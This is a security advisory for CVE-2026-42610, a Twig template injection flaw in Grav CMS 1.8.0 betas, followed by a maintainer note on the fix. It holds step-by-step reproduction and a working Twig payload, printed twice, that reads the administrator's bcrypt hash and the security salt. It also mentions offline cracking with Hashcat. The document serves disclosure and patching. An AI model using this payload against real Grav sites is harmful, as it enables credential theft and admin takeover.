CVE-2026-42610

Description

## Summary Information disclosure exists in `Grav CMS v1.8.0-beta.29`. Despite previous security patches (notably in `v1.8.0-beta.27/28`) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed. A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the `grav['accounts']` service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. ## Affected version Grav CMS: `v1.8.0-beta.29` (and earlier 1.8.x beta versions). Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases. ## Steps to Reproduce 1. Create a low-privileged account (MY CASE IS 'editor_chen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied. 2. Login to the Admin panel using `editor_chen`. Navigate to Pages and edit the `Home` page. 3. Under the Advanced tab, ensure Process Twig is enabled . 4. In the Content tab, inject the following Twig payload designed to bypass the `isDangerousFunction` filter by accessing the internal service container: ``` --- title: Information Disclosure Test process: twig: true --- # Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }} - Security Salt: {{ grav.config.get('security.salt') }} ``` <img width="1176" height="618" alt="GRAV" src="https://github.com/user-attachments/assets/7970216a-2dc6-4d1b-8dfd-b64f3712c9c5" /> 5. Click Save. And navigate to the public page (`http://localhost:8000/home`). Page will render and display the administrator's Bcrypt hash and the system security salt. <img width="1278" height="462" alt="GRAV2" src="https://github.com/user-attachments/assets/33b7b894-6ae3-4d29-bd2d-8004e9b343e0" /> ## PoC ``` --- title: Information Disclosure Test process: twig: true --- # Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }} - Security Salt: {{ grav.config.get('security.salt') }} ``` ## Impact Attackers can obtain the password hashes of all registered users, including Super Administrators. Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat) ## Video Pls refer to the attached video <video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;"> </video> --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**. **What changed:** the HMAC key formerly stored as `security.salt` in `user/config/security.yaml` has moved **out of the Config tree** into `user/config/security-private.php`. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live `Config` object and the on-disk YAML — so `{{ grav.config.get('security.salt') }}` from a sandboxed Twig template now returns null. The `.php` extension is blocked from web access by the default `user/*.php` htaccess rule; the file contains only a `return` statement, so direct PHP exec produces no output either. The PoC's password-hash half (`grav['accounts'].load('admin').get('hashed_password')`) was already covered by the new Twig content sandbox in 2.0.0-beta.2 — `UserCollection::load` is not in the sandbox allowlist — see the separate GHSA-58hj-46fw-rcfm advisory. **Files:** - [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — new `Security::getNonceKey()` + migration. - [`system/src/Grav/Common/Utils.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Utils.php) — `generateNonceString` now uses the new key. - [`system/src/Grav/Common/Service/SessionServiceProvider.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Service/SessionServiceProvider.php). - [`system/src/Grav/Common/Config/Setup.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Config/Setup.php) — removed auto-gen of `security.salt`. - [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — removed placeholder `salt:`. - [`tests/unit/Grav/Common/Security/NonceKeySecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/NonceKeySecurityTest.php) — migration + generation coverage.